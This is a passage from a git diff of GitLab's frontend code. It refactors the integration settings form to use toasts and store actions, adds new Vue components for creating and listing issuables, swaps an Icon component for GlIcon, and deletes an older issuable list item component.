+ eventHub.$on('saveIntegration', () => {
+ this.saveIntegration();
});
-
- // Bind Event Listeners
- this.$submitBtn.on('click', e => this.handleSettingsSave(e));
}
- handleSettingsSave(e) {
- // Check if Service is marked active, as if not marked active,
- // We can skip testing it and directly go ahead to allow form to
- // be submitted
- if (!this.formActive) {
- return;
+ saveIntegration() {
+ // Service was marked active so now we check;
+ // 1) If form contents are valid
+ // 2) If this service can be saved
+ // If both conditions are true, we override form submission
+ // and save the service using provided configuration.
+ if (this.$form.get(0).checkValidity()) {
+ this.$form.submit();
+ } else {
+ eventHub.$emit('validateForm');
+ this.vue.$store.dispatch('setIsSaving', false);
}
+ }
+ testIntegration() {
// Service was marked active so now we check;
// 1) If form contents are valid
// 2) If this service can be tested
// If both conditions are true, we override form submission
// and test the service using provided configuration.
if (this.$form.get(0).checkValidity()) {
- if (this.canTestService) {
- e.preventDefault();
- // eslint-disable-next-line no-jquery/no-serialize
- this.testSettings(this.$form.serialize());
- }
+ // eslint-disable-next-line no-jquery/no-serialize
+ this.testSettings(this.$form.serialize());
} else {
- e.preventDefault();
eventHub.$emit('validateForm');
+ this.vue.$store.dispatch('setIsTesting', false);
}
}
- handleServiceToggle() {
- this.toggleServiceState();
- }
-
/**
* Change Form's validation enforcement based on service status (active/inactive)
*/
toggleServiceState() {
- this.toggleSubmitBtnLabel();
if (this.formActive) {
this.$form.removeAttr('novalidate');
} else if (!this.$form.attr('novalidate')) {
@@ -77,67 +75,23 @@ export default class IntegrationSettingsForm {
}
/**
- * Toggle Submit button label based on Integration status and ability to test service
- */
- toggleSubmitBtnLabel() {
- let btnLabel = __('Save changes');
-
- if (this.formActive && this.canTestService) {
- btnLabel = __('Test settings and save changes');
- }
-
- this.$submitBtnLabel.text(btnLabel);
- }
-
- /**
- * Toggle Submit button state based on provided boolean value of `saveTestActive`
- * When enabled, it does two things, and reverts back when disabled
- *
- * 1. It shows load spinner on submit button
- * 2. Makes submit button disabled
- */
- toggleSubmitBtnState(saveTestActive) {
- if (saveTestActive) {
- this.$submitBtn.disable();
- this.$submitBtnLoader.removeClass('hidden');
- } else {
- this.$submitBtn.enable();
- this.$submitBtnLoader.addClass('hidden');
- }
- }
-
- /**
* Test Integration config
*/
testSettings(formData) {
- this.toggleSubmitBtnState(true);
-
return axios
.put(this.testEndPoint, formData)
.then(({ data }) => {
if (data.error) {
- let flashActions;
-
- if (data.test_failed) {
- flashActions = {
- title: __('Save anyway'),
- clickHandler: e => {
- e.preventDefault();
- this.$form.submit();
- },
- };
- }
-
- flash(`${data.message} ${data.service_response}`, 'alert', document, flashActions);
+ toast(`${data.message} ${data.service_response}`);
} else {
- this.$form.submit();
+ toast(s__('Integrations|Connection successful.'));
}
-
- this.toggleSubmitBtnState(false);
})
.catch(() => {
- flash(__('Something went wrong on our end.'));
- this.toggleSubmitBtnState(false);
+ toast(__('Something went wrong on our end.'));
+ })
+ .finally(() => {
+ this.vue.$store.dispatch('setIsTesting', false);
});
}
}
diff --git a/app/assets/javascripts/issuable_bulk_update_sidebar.js b/app/assets/javascripts/issuable_bulk_update_sidebar.js
index 85c2a370ff3..7d9cefbe66a 100644
--- a/app/assets/javascripts/issuable_bulk_update_sidebar.js
+++ b/app/assets/javascripts/issuable_bulk_update_sidebar.js
@@ -7,7 +7,7 @@ import MilestoneSelect from './milestone_select';
import issueStatusSelect from './issue_status_select';
import subscriptionSelect from './subscription_select';
import LabelsSelect from './labels_select';
-import issueableEventHub from './issuables_list/eventhub';
+import issueableEventHub from './issues_list/eventhub';
const HIDDEN_CLASS = 'hidden';
const DISABLED_CONTENT_CLASS = 'disabled-content';
diff --git a/app/assets/javascripts/issuable_create/components/issuable_create_root.vue b/app/assets/javascripts/issuable_create/components/issuable_create_root.vue
new file mode 100644
index 00000000000..1ef42976032
--- /dev/null
+++ b/app/assets/javascripts/issuable_create/components/issuable_create_root.vue
@@ -0,0 +1,44 @@
+<script>
+import IssuableForm from './issuable_form.vue';
+
+export default {
+ components: {
+ IssuableForm,
+ },
+ props: {
+ descriptionPreviewPath: {
+ type: String,
+ required: true,
+ },
+ descriptionHelpPath: {
+ type: String,
+ required: true,
+ },
+ labelsFetchPath: {
+ type: String,
+ required: true,
+ },
+ labelsManagePath: {
+ type: String,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="issuable-create-container">
+ <slot name="title"></slot>
+ <hr />
+ <issuable-form
+ :description-preview-path="descriptionPreviewPath"
+ :description-help-path="descriptionHelpPath"
+ :labels-fetch-path="labelsFetchPath"
+ :labels-manage-path="labelsManagePath"
+ >
+ <template #actions="issuableMeta">
+ <slot name="actions" v-bind="issuableMeta"></slot>
+ </template>
+ </issuable-form>
+ </div>
+</template>
diff --git a/app/assets/javascripts/issuable_create/components/issuable_form.vue b/app/assets/javascripts/issuable_create/components/issuable_form.vue
new file mode 100644
index 00000000000..17e51b3dbac
--- /dev/null
+++ b/app/assets/javascripts/issuable_create/components/issuable_form.vue
@@ -0,0 +1,127 @@
+<script>
+import { GlForm, GlFormInput } from '@gitlab/ui';
+import MarkdownField from '~/vue_shared/components/markdown/field.vue';
+import LabelsSelect from '~/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue';
+
+import { DropdownVariant } from '~/vue_shared/components/sidebar/labels_select_vue/constants';
+
+export default {
+ LabelSelectVariant: DropdownVariant,
+ components: {
+ GlForm,
+ GlFormInput,
+ MarkdownField,
+ LabelsSelect,
+ },
+ props: {
+ descriptionPreviewPath: {
+ type: String,
+ required: true,
+ },
+ descriptionHelpPath: {
+ type: String,
+ required: true,
+ },
+ labelsFetchPath: {
+ type: String,
+ required: true,
+ },
+ labelsManagePath: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ issuableTitle: '',
+ issuableDescription: '',
+ selectedLabels: [],
+ };
+ },
+ methods: {
+ handleUpdateSelectedLabels(labels) {
+ if (labels.length) {
+ this.selectedLabels = labels;
+ }
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-form class="common-note-form gfm-form" @submit.stop.prevent>
+ <div data-testid="issuable-title" class="form-group row">
+ <label for="issuable-title" class="col-form-label col-sm-2">{{ __('Title') }}</label>
+ <div class="col-sm-10">
+ <gl-form-input
+ id="issuable-title"
+ v-model="issuableTitle"
+ :autofocus="true"
+ :placeholder="__('Title')"
+ />
+ </div>
+ </div>
+ <div data-testid="issuable-description" class="form-group row">
+ <label for="issuable-description" class="col-form-label col-sm-2">{{
+ __('Description')
+ }}</label>
+ <div class="col-sm-10">
+ <markdown-field
+ :markdown-preview-path="descriptionPreviewPath"
+ :markdown-docs-path="descriptionHelpPath"
+ :add-spacing-classes="false"
+ :show-suggest-popover="true"
+ >
+ <textarea
+ id="issuable-description"
+ ref="textarea"
+ slot="textarea"
+ v-model="issuableDescription"
+ dir="auto"
+ class="note-textarea qa-issuable-form-description rspec-issuable-form-description js-gfm-input js-autosize markdown-area"
+ :aria-label="__('Description')"
+ :placeholder="__('Write a comment or drag your files here…')"
+ ></textarea>
+ </markdown-field>
+ </div>
+ </div>
+ <div class="row">
+ <div class="col-lg-6">
+ <div data-testid="issuable-labels" class="form-group row">
+ <label for="issuable-labels" class="col-form-label col-md-2 col-lg-4">{{
+ __('Labels')
+ }}</label>
+ <div class="col-md-8 col-sm-10">
+ <div class="issuable-form-select-holder">
+ <labels-select
+ :allow-label-edit="true"
+ :allow-label-create="true"
+ :allow-multiselect="true"
+ :allow-scoped-labels="true"
+ :labels-fetch-path="labelsFetchPath"
+ :labels-manage-path="labelsManagePath"
+ :selected-labels="selectedLabels"
+ :labels-list-title="__('Select label')"
+ :footer-create-label-title="__('Create project label')"
+ :footer-manage-label-title="__('Manage project labels')"
+ :variant="$options.LabelSelectVariant.Embedded"
+ @updateSelectedLabels="handleUpdateSelectedLabels"
+ />
+ </div>
+ </div>
+ </div>
+ </div>
+ </div>
+ <div
+ data-testid="issuable-create-actions"
+ class="footer-block row-content-block gl-display-flex"
+ >
+ <slot
+ name="actions"
+ :issuable-title="issuableTitle"
+ :issuable-description="issuableDescription"
+ :selected-labels="selectedLabels"
+ ></slot>
+ </div>
+ </gl-form>
+</template>
diff --git a/app/assets/javascripts/issuable_form.js b/app/assets/javascripts/issuable_form.js
index 2dcf5e6a0d6..ed34e2f5623 100644
--- a/app/assets/javascripts/issuable_form.js
+++ b/app/assets/javascripts/issuable_form.js
@@ -66,6 +66,7 @@ export default class IssuableForm {
gl.GfmAutoComplete && gl.GfmAutoComplete.dataSources,
).setup();
this.usersSelect = new UsersSelect();
+ this.reviewersSelect = new UsersSelect(undefined, '.js-reviewer-search');
this.zenMode = new ZenMode();
this.titleField = this.form.find('input[name*="[title]"]');
diff --git a/app/assets/javascripts/issuable_list/components/issuable_item.vue b/app/assets/javascripts/issuable_list/components/issuable_item.vue
new file mode 100644
index 00000000000..d8cb1ab07cd
--- /dev/null
+++ b/app/assets/javascripts/issuable_list/components/issuable_item.vue
@@ -0,0 +1,140 @@
+<script>
+import { GlLink, GlLabel, GlTooltipDirective } from '@gitlab/ui';
+
+import { __, sprintf } from '~/locale';
+import { getTimeago } from '~/lib/utils/datetime_utility';
+import { isScopedLabel } from '~/lib/utils/common_utils';
+import timeagoMixin from '~/vue_shared/mixins/timeago';
+
+export default {
+ components: {
+ GlLink,
+ GlLabel,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ mixins: [timeagoMixin],
+ props: {
+ issuableSymbol: {
+ type: String,
+ required: true,
+ },
+ issuable: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ author() {
+ return this.issuable.author;
+ },
+ authorId() {
+ const id = parseInt(this.author.id, 10);
+
+ if (Number.isNaN(id)) {
+ return this.author.id.includes('gid')
+ ? this.author.id.split('gid://gitlab/User/').pop()
+ : '';
+ }
+
+ return id;
+ },
+ labels() {
+ return this.issuable.labels?.nodes || this.issuable.labels || [];
+ },
+ createdAt() {
+ return sprintf(__('created %{timeAgo}'), {
+ timeAgo: getTimeago().format(this.issuable.createdAt),
+ });
+ },
+ updatedAt() {
+ return sprintf(__('updated %{timeAgo}'), {
+ timeAgo: getTimeago().format(this.issuable.updatedAt),
+ });
+ },
+ },
+ methods: {
+ scopedLabel(label) {
+ return isScopedLabel(label);
+ },
+ /**
+ * This is needed as an independent method since
+ * when user changes current page, `$refs.authorLink`
+ * will be null until next page results are loaded & rendered.
+ */
+ getAuthorPopoverTarget() {
+ if (this.$refs.authorLink) {
+ return this.$refs.authorLink.$el;
+ }
+ return '';
+ },
+ },
+};
+</script>
+
+<template>
+ <li class="issue">
+ <div class="issue-box">
+ <div class="issuable-info-container">
+ <div class="issuable-main-info">
+ <div data-testid="issuable-title" class="issue-title title">
+ <span class="issue-title-text" dir="auto">
+ <gl-link :href="issuable.webUrl">{{ issuable.title }}</gl-link>
+ </span>
+ </div>
+ <div class="issuable-info">
+ <span data-testid="issuable-reference" class="issuable-reference"
+ >{{ issuableSymbol }}{{ issuable.iid }}</span
+ >
+ <span class="issuable-authored d-none d-sm-inline-block">
+ &middot;
+ <span
+ v-gl-tooltip:tooltipcontainer.bottom
+ data-testid="issuable-created-at"
+ :title="tooltipTitle(issuable.createdAt)"
+ >{{ createdAt }}</span
+ >
+ {{ __('by') }}
+ <gl-link
+ :data-user-id="authorId"
+ :data-username="author.username"
+ :data-name="author.name"
+ :data-avatar-url="author.avatarUrl"
+ :href="author.webUrl"
+ data-testid="issuable-author"
+ class="author-link js-user-link"
+ >
+ <span class="author">{{ author.name }}</span>
+ </gl-link>
+ </span>
+ &nbsp;
+ <gl-label
+ v-for="(label, index) in labels"
+ :key="index"
+ :background-color="label.color"
+ :title="label.title"
+ :description="label.description"
+ :scoped="scopedLabel(label)"
+ :class="{ 'gl-ml-2': index }"
+ size="sm"
+ />
+ </div>
+ </div>
+ <div class="issuable-meta">
+ <div
+ data-testid="issuable-updated-at"
+ class="float-right issuable-updated-at d-none d-sm-inline-block"
+ >
+ <span
+ v-gl-tooltip:tooltipcontainer.bottom
+ :title="tooltipTitle(issuable.updatedAt)"
+ class="issuable-updated-at"
+ >{{ updatedAt }}</span
+ >
+ </div>
+ </div>
+ </div>
+ </div>
+ </li>
+</template>
diff --git a/app/assets/javascripts/issuable_list/components/issuable_list_root.vue b/app/assets/javascripts/issuable_list/components/issuable_list_root.vue
new file mode 100644
index 00000000000..7535203dea1
--- /dev/null
+++ b/app/assets/javascripts/issuable_list/components/issuable_list_root.vue
@@ -0,0 +1,153 @@
+<script>
+import { GlLoadingIcon, GlPagination } from '@gitlab/ui';
+
+import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
+
+import IssuableTabs from './issuable_tabs.vue';
+import IssuableItem from './issuable_item.vue';
+
+export default {
+ components: {
+ GlLoadingIcon,
+ IssuableTabs,
+ FilteredSearchBar,
+ IssuableItem,
+ GlPagination,
+ },
+ props: {
+ namespace: {
+ type: String,
+ required: true,
+ },
+ recentSearchesStorageKey: {
+ type: String,
+ required: true,
+ },
+ searchInputPlaceholder: {
+ type: String,
+ required: true,
+ },
+ searchTokens: {
+ type: Array,
+ required: true,
+ },
+ sortOptions: {
+ type: Array,
+ required: true,
+ },
+ initialFilterValue: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ initialSortBy: {
+ type: String,
+ required: false,
+ default: 'created_desc',
+ },
+ issuables: {
+ type: Array,
+ required: true,
+ },
+ tabs: {
+ type: Array,
+ required: true,
+ },
+ tabCounts: {
+ type: Object,
+ required: true,
+ },
+ currentTab: {
+ type: String,
+ required: true,
+ },
+ issuableSymbol: {
+ type: String,
+ required: false,
+ default: '#',
+ },
+ issuablesLoading: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ showPaginationControls: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ defaultPageSize: {
+ type: Number,
+ required: false,
+ default: 20,
+ },
+ currentPage: {
+ type: Number,
+ required: false,
+ default: 1,
+ },
+ previousPage: {
+ type: Number,
+ required: false,
+ default: 0,
+ },
+ nextPage: {
+ type: Number,
+ required: false,
+ default: 2,
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="issuable-list-container">
+ <issuable-tabs
+ :tabs="tabs"
+ :tab-counts="tabCounts"
+ :current-tab="currentTab"
+ @click="$emit('click-tab', $event)"
+ >
+ <template #nav-actions>
+ <slot name="nav-actions"></slot>
+ </template>
+ </issuable-tabs>
+ <filtered-search-bar
+ :namespace="namespace"
+ :recent-searches-storage-key="recentSearchesStorageKey"
+ :search-input-placeholder="searchInputPlaceholder"
+ :tokens="searchTokens"
+ :sort-options="sortOptions"
+ :initial-filter-value="initialFilterValue"
+ :initial-sort-by="initialSortBy"
+ class="gl-flex-grow-1 row-content-block"
+ @onFilter="$emit('filter', $event)"
+ @onSort="$emit('sort', $event)"
+ />
+ <div class="issuables-holder">
+ <gl-loading-icon v-if="issuablesLoading" size="md" class="gl-mt-5" />
+ <ul
+ v-if="!issuablesLoading && issuables.length"
+ class="content-list issuable-list issues-list"
+ >
+ <issuable-item
+ v-for="issuable in issuables"
+ :key="issuable.id"
+ :issuable-symbol="issuableSymbol"
+ :issuable="issuable"
+ />
+ </ul>
+ <slot v-if="!issuablesLoading && !issuables.length" name="empty-state"></slot>
+ <gl-pagination
+ v-if="showPaginationControls"
+ :per-page="defaultPageSize"
+ :value="currentPage"
+ :prev-page="previousPage"
+ :next-page="nextPage"
+ align="center"
+ class="gl-pagination gl-mt-3"
+ @input="$emit('page-change', $event)"
+ />
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/issuable_list/components/issuable_tabs.vue b/app/assets/javascripts/issuable_list/components/issuable_tabs.vue
new file mode 100644
index 00000000000..df544ce69e7
--- /dev/null
+++ b/app/assets/javascripts/issuable_list/components/issuable_tabs.vue
@@ -0,0 +1,53 @@
+<script>
+import { GlTabs, GlTab, GlBadge } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlTabs,
+ GlTab,
+ GlBadge,
+ },
+ props: {
+ tabs: {
+ type: Array,
+ required: true,
+ },
+ tabCounts: {
+ type: Object,
+ required: true,
+ },
+ currentTab: {
+ type: String,
+ required: true,
+ },
+ },
+ methods: {
+ isTabActive(tabName) {
+ return tabName === this.currentTab;
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="top-area">
+ <gl-tabs class="nav-links mobile-separator issuable-state-filters">
+ <gl-tab
+ v-for="tab in tabs"
+ :key="tab.id"
+ :active="isTabActive(tab.name)"
+ @click="$emit('click', tab.name)"
+ >
+ <template #title>
+ <span :title="tab.titleTooltip">{{ tab.title }}</span>
+ <gl-badge variant="neutral" size="sm" class="gl-px-2 gl-py-1!">{{
+ tabCounts[tab.name]
+ }}</gl-badge>
+ </template>
+ </gl-tab>
+ </gl-tabs>
+ <div class="nav-controls">
+ <slot name="nav-actions"></slot>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/issuable_suggestions/components/app.vue b/app/assets/javascripts/issuable_suggestions/components/app.vue
index 810ca7ac1bd..8a9a880e7ee 100644
--- a/app/assets/javascripts/issuable_suggestions/components/app.vue
+++ b/app/assets/javascripts/issuable_suggestions/components/app.vue
@@ -1,14 +1,13 @@
<script>
-import { GlTooltipDirective } from '@gitlab/ui';
+import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
import Suggestion from './item.vue';
import query from '../queries/issues.query.graphql';
export default {
components: {
Suggestion,
- Icon,
+ GlIcon,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -70,7 +69,7 @@ export default {
<div v-show="showSuggestions" class="form-group row issuable-suggestions">
<div v-once class="col-form-label col-sm-2 pt-0">
{{ __('Similar issues') }}
- <icon
+ <gl-icon
v-gl-tooltip.bottom
:title="$options.helpText"
:aria-label="$options.helpText"
diff --git a/app/assets/javascripts/issuable_suggestions/components/item.vue b/app/assets/javascripts/issuable_suggestions/components/item.vue
index dfadb9d2b24..6e265b1bf42 100644
--- a/app/assets/javascripts/issuable_suggestions/components/item.vue
+++ b/app/assets/javascripts/issuable_suggestions/components/item.vue
@@ -1,9 +1,8 @@
<script>
/* eslint-disable @gitlab/vue-require-i18n-strings */
import { uniqueId } from 'lodash';
-import { GlLink, GlTooltip, GlTooltipDirective } from '@gitlab/ui';
+import { GlLink, GlTooltip, GlTooltipDirective, GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
import UserAvatarImage from '~/vue_shared/components/user_avatar/user_avatar_image.vue';
import TimeagoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import timeago from '~/vue_shared/mixins/timeago';
@@ -12,7 +11,7 @@ export default {
components: {
GlTooltip,
GlLink,
- Icon,
+ GlIcon,
UserAvatarImage,
TimeagoTooltip,
},
@@ -68,7 +67,7 @@ export default {
<template>
<div class="suggestion-item">
<div class="d-flex align-items-center">
- <icon
+ <gl-icon
v-if="suggestion.confidential"
v-gl-tooltip.bottom
:title="__('Confidential')"
@@ -84,7 +83,7 @@ export default {
</gl-link>
</div>
<div class="text-secondary suggestion-footer">
- <icon
+ <gl-icon
ref="state"
:name="stateIcon"
:class="{
@@ -134,7 +133,7 @@ export default {
:title="tooltipTitle"
class="suggestion-help-hover gl-ml-3 text-tertiary"
>
- <icon :name="icon" /> {{ count }}
+ <gl-icon :name="icon" /> {{ count }}
</span>
</span>
</div>
diff --git a/app/assets/javascripts/issuables_list/components/issuable.vue b/app/assets/javascripts/issuables_list/components/issuable.vue
deleted file mode 100644
index 4fc614f8da4..00000000000
--- a/app/assets/javascripts/issuables_list/components/issuable.vue
+++ /dev/null
@@ -1,424 +0,0 @@
-<script>
-/*
- * This is tightly coupled to projects/issues/_issue.html.haml,
- * any changes done to the haml need to be reflected here.
- */
-
-// TODO: need to move this component to graphql - https://gitlab.com/gitlab-org/gitlab/-/issues/221246
-import { escape, isNumber } from 'lodash';
-import { GlLink, GlTooltipDirective as GlTooltip, GlSprintf, GlLabel, GlIcon } from '@gitlab/ui';
-import jiraLogo from '@gitlab/svgs/dist/illustrations/logos/jira.svg';
-import {
- dateInWords,
- formatDate,
- getDayDifference,
- getTimeago,
- timeFor,
- newDateAsLocaleTime,
-} from '~/lib/utils/datetime_utility';
-import { sprintf, __ } from '~/locale';
-import initUserPopovers from '~/user_popovers';
-import { mergeUrlParams } from '~/lib/utils/url_utility';
-import IssueAssignees from '~/vue_shared/components/issue/issue_assignees.vue';
-import { isScopedLabel } from '~/lib/utils/common_utils';
-import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-
-import { convertToCamelCase } from '~/lib/utils/text_utility';
-
-export default {
- i18n: {
- openedAgo: __('opened %{timeAgoString} by %{user}'),
- openedAgoJira: __('opened %{timeAgoString} by %{user} in Jira'),
- },
- components: {
- IssueAssignees,
- GlLink,
- GlLabel,
- GlIcon,
- GlSprintf,
- IssueHealthStatus: () =>
- import('ee_component/related_items_tree/components/issue_health_status.vue'),
- },
- directives: {
- GlTooltip,
- },
- mixins: [glFeatureFlagsMixin()],
- props: {
- issuable: {
- type: Object,
- required: true,
- },
- isBulkEditing: {
- type: Boolean,
- required: false,
- default: false,
- },
- selected: {
- type: Boolean,
- required: false,
- default: false,
- },
- baseUrl: {
- type: String,
- required: false,
- default() {
- return window.location.href;
- },
- },
- },
- data() {
- return {
- jiraLogo,
- };
- },
- computed: {
- milestoneLink() {
- const { title } = this.issuable.milestone;
-
- return this.issuableLink({ milestone_title: title });
- },
- scopedLabelsAvailable() {
- return this.glFeatures.scopedLabels;
- },
- hasWeight() {
- return isNumber(this.issuable.weight);
- },
- dueDate() {
- return this.issuable.due_date ? newDateAsLocaleTime(this.issuable.due_date) : undefined;
- },
- dueDateWords() {
- return this.dueDate ? dateInWords(this.dueDate, true) : undefined;
- },
- isOverdue() {
- return this.dueDate ? this.dueDate < new Date() : false;
- },
- isClosed() {
- return this.issuable.state === 'closed';
- },
- isJiraIssue() {
- return this.issuable.external_tracker === 'jira';
- },
- linkTarget() {
- return this.isJiraIssue ? '_blank' : null;
- },
- issueCreatedToday() {
- return getDayDifference(new Date(this.issuable.created_at), new Date()) < 1;
- },
- labelIdsString() {
- return JSON.stringify(this.issuable.labels.map(l => l.id));
- },
- milestoneDueDate() {
- const { due_date: dueDate } = this.issuable.milestone || {};
-
- return dueDate ? newDateAsLocaleTime(dueDate) : undefined;
- },
- milestoneTooltipText() {
- if (this.milestoneDueDate) {
- return sprintf(__('%{primary} (%{secondary})'), {
- primary: formatDate(this.milestoneDueDate, 'mmm d, yyyy'),
- secondary: timeFor(this.milestoneDueDate),
- });
- }
- return __('Milestone');
- },
- issuableAuthor() {
- return this.issuable.author;
- },
- issuableCreatedAt() {
- return getTimeago().format(this.issuable.created_at);
- },
- popoverDataAttrs() {
- const { id, username, name, avatar_url } = this.issuableAuthor;
-
- return {
- 'data-user-id': id,
- 'data-username': username,
- 'data-name': name,
- 'data-avatar-url': avatar_url,
- };
- },
- referencePath() {
- return this.issuable.references.relative;
- },
- updatedDateString() {
- return formatDate(new Date(this.issuable.updated_at), 'mmm d, yyyy h:MMtt');
- },
- updatedDateAgo() {
- // snake_case because it's the same i18n string as the HAML view
- return sprintf(__('updated %{time_ago}'), {
- time_ago: escape(getTimeago().format(this.issuable.updated_at)),
- });
- },
- issuableMeta() {
- return [
- {
- key: 'merge-requests',
- visible: this.issuable.merge_requests_count > 0,
- value: this.issuable.merge_requests_count,
- title: __('Related merge requests'),
- dataTestId: 'merge-requests',
- class: 'js-merge-requests icon-merge-request-unmerged',
- icon: 'merge-request',
- },
- {
- key: 'upvotes',
- visible: this.issuable.upvotes > 0,
- value: this.issuable.upvotes,
- title: __('Upvotes'),
- dataTestId: 'upvotes',
- class: 'js-upvotes issuable-upvotes',
- icon: 'thumb-up',
- },
- {
- key: 'downvotes',
- visible: this.issuable.downvotes > 0,
- value: this.issuable.downvotes,
- title: __('Downvotes'),
- dataTestId: 'downvotes',
- class: 'js-downvotes issuable-downvotes',
- icon: 'thumb-down',
- },
- {
- key: 'blocking-issues',
- visible: this.issuable.blocking_issues_count > 0,
- value: this.issuable.blocking_issues_count,
- title: __('Blocking issues'),
- dataTestId: 'blocking-issues',
- href: `${this.issuable.web_url}#related-issues`,
- icon: 'issue-block',
- },
- {
- key: 'comments-count',
- visible: !this.isJiraIssue,
- value: this.issuable.user_notes_count,
- title: __('Comments'),
- dataTestId: 'notes-count',
- href: `${this.issuable.web_url}#notes`,
- class: { 'no-comments': !this.issuable.user_notes_count, 'issuable-comments': true },
- icon: 'comments',
- },
- ];
- },
- healthStatus() {
- return convertToCamelCase(this.issuable.health_status);
- },
- },
- mounted() {
- // TODO: Refactor user popover to use its own component instead of
- // spawning event listeners on Vue-rendered elements.
- initUserPopovers([this.$refs.openedAgoByContainer.$el]);
- },
- methods: {
- issuableLink(params) {
- return mergeUrlParams(params, this.baseUrl);
- },
- isScoped({ name }) {
- return isScopedLabel({ title: name }) && this.scopedLabelsAvailable;
- },
- labelHref({ name }) {
- if (this.isJiraIssue) {
- return this.issuableLink({ 'labels[]': name });
- }
-
- return this.issuableLink({ 'label_name[]': name });
- },
- onSelect(ev) {
- this.$emit('select', {
- issuable: this.issuable,
- selected: ev.target.checked,
- });
- },
- issuableMetaComponent(href) {
- return href ? 'gl-link' : 'span';
- },
- },
-
- confidentialTooltipText: __('Confidential'),
-};
-</script>
-<template>
- <li
- :id="`issue_${issuable.id}`"
- class="issue"
- :class="{ today: issueCreatedToday, closed: isClosed }"
- :data-id="issuable.id"
- :data-labels="labelIdsString"
- :data-url="issuable.web_url"
- data-qa-selector="issue_container"
- :data-qa-issue-title="issuable.title"
- >
- <div class="gl-display-flex">
- <!-- Bulk edit checkbox -->
- <div v-if="isBulkEditing" class="gl-mr-3">
- <input
- :id="`selected_issue_${issuable.id}`"
- :checked="selected"
- class="selected-issuable"
- type="checkbox"
- :data-id="issuable.id"
- @input="onSelect"
- />
- </div>
-
- <!-- Issuable info container -->
- <!-- Issuable main info -->
- <div class="gl-flex-grow-1">
- <div class="title">
- <span class="issue-title-text">
- <gl-icon
- v-if="issuable.confidential"
- v-gl-tooltip
- name="eye-slash"
- class="gl-vertical-align-text-bottom"
- :size="16"
- :title="$options.confidentialTooltipText"
- :aria-label="$options.confidentialTooltipText"
- />
- <gl-link
- :href="issuable.web_url"
- :target="linkTarget"
- data-testid="issuable-title"
- data-qa-selector="issue_link"
- >{{ issuable.title
- }}<gl-icon
- v-if="isJiraIssue"
- name="external-link"
- class="gl-vertical-align-text-bottom gl-ml-2"
- />
- </gl-link>
- </span>
- <span
- v-if="issuable.has_tasks"
- class="gl-ml-2 task-status gl-display-none d-sm-inline-block"
- >{{ issuable.task_status }}</span
- >
- </div>
-
- <div class="issuable-info">
- <span class="js-ref-path gl-mr-4 mr-sm-0">
- <span
- v-if="isJiraIssue"
- class="svg-container jira-logo-container"
- data-testid="jira-logo"
- v-html="jiraLogo"
- ></span>
- {{ referencePath }}
- </span>
-
- <span data-testid="openedByMessage" class="gl-display-none d-sm-inline-block gl-mr-4">
- &middot;
- <gl-sprintf
- :message="isJiraIssue ? $options.i18n.openedAgoJira : $options.i18n.openedAgo"
- >
- <template #timeAgoString>
- <span>{{ issuableCreatedAt }}</span>
- </template>
- <template #user>
- <gl-link
- ref="openedAgoByContainer"
- v-bind="popoverDataAttrs"
- :href="issuableAuthor.web_url"
- :target="linkTarget"
- >{{ issuableAuthor.name }}</gl-link
- >
- </template>
- </gl-sprintf>
- </span>
-
- <gl-link
- v-if="issuable.milestone"
- v-gl-tooltip
- class="gl-display-none d-sm-inline-block gl-mr-4 js-milestone milestone"
- :href="milestoneLink"
- :title="milestoneTooltipText"
- >
- <gl-icon name="clock" class="s16 gl-vertical-align-text-bottom" />
- {{ issuable.milestone.title }}
- </gl-link>
-
- <span
- v-if="dueDate"
- v-gl-tooltip
- class="gl-display-none d-sm-inline-block gl-mr-4 js-due-date"
- :class="{ cred: isOverdue }"
- :title="__('Due date')"
- >
- <i class="fa fa-calendar"></i>
- {{ dueDateWords }}
- </span>
-
- <span
- v-if="hasWeight"
- v-gl-tooltip
- :title="__('Weight')"
- class="gl-display-none d-sm-inline-block gl-mr-4"
- data-testid="weight"
- data-qa-selector="issuable_weight_content"
- >
- <gl-icon name="weight" class="align-text-bottom" />
- {{ issuable.weight }}
- </span>
-
- <issue-health-status
- v-if="issuable.health_status"
- :health-status="healthStatus"
- class="gl-mr-4 issuable-tag-valign"
- />
-
- <gl-label
- v-for="label in issuable.labels"
- :key="label.id"
- data-qa-selector="issuable-label"
- :target="labelHref(label)"
- :background-color="label.color"
- :description="label.description"
- :color="label.text_color"
- :title="label.name"
- :scoped="isScoped(label)"
- size="sm"
- class="gl-mr-2 issuable-tag-valign"
- >{{ label.name }}</gl-label
- >
- </div>
- </div>
-
- <!-- Issuable meta -->
- <div
- class="gl-flex-shrink-0 gl-display-flex gl-flex-direction-column align-items-end gl-justify-content-center"
- >
- <div class="controls gl-display-flex">
- <span v-if="isJiraIssue" data-testid="issuable-status">{{ issuable.status }}</span>
- <span v-else-if="isClosed" class="issuable-status">{{ __('CLOSED') }}</span>
-
- <issue-assignees
- :assignees="issuable.assignees"
- class="gl-align-items-center gl-display-flex gl-ml-3"
- :icon-size="16"
- img-css-classes="gl-mr-2!"
- :max-visible="4"
- />
-
- <template v-for="meta in issuableMeta">
- <span
- v-if="meta.visible"
- :key="meta.key"
- v-gl-tooltip
- class="gl-display-none gl-display-sm-flex gl-align-items-center gl-ml-3"
- :class="meta.class"
- :data-testid="meta.dataTestId"
- :title="meta.title"
- >
